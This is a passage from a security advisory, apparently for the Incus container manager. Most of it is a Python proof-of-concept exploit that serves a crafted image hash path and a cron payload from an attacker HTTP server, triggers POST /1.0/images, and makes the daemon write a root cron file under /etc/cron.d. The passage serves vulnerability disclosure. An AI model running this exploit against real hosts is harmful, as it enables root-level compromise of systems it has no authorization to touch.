Advisory

GHSA-pjff-c2wc-f6jm

Details, part 2 of 2. The advisory

Details

parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images")
parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger")
args = parser.parse_args()

if bool(args.cert) != bool(args.key):
parser.error("--cert and --key must be supplied together")
if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:
parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file")

payload = cron_payload(args.command)
trigger_body = image_url_body(args.advertise_url, args.public)

print("[*] exploit primitive: direct image URL unvalidated hash path host write")
print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage")
print(f"[*] returned Incus-Image-Hash: {args.hash_path}")
print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload")
print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce")
print(f"[*] cron payload: {payload.decode().rstrip()}")
print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}")

if not args.execute_trigger:
print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test")
return 0

server = start_server(args, payload)
print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}")

status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True)
print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}")

if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):
print("[*] daemon requested payload; cron file should exist until the held response is released")
else:
print("[!] daemon did not request payload within the wait window")

print("[*] leaving HTTP server active for the remaining hold window")
time.sleep(max(0, args.hold_seconds - 30))
server.shutdown()
server.server_close()
return 0

if __name__ == "__main__":
try:
raise SystemExit(main())
except BrokenPipeError:
raise SystemExit(1)
except Exception as exc:
print(f"[-] {exc}", file=sys.stderr)
raise SystemExit(1)



### Impact

An arbitrary file write on the client with root privileges; possibly leading
to arbitrary command execution.

Sources & licences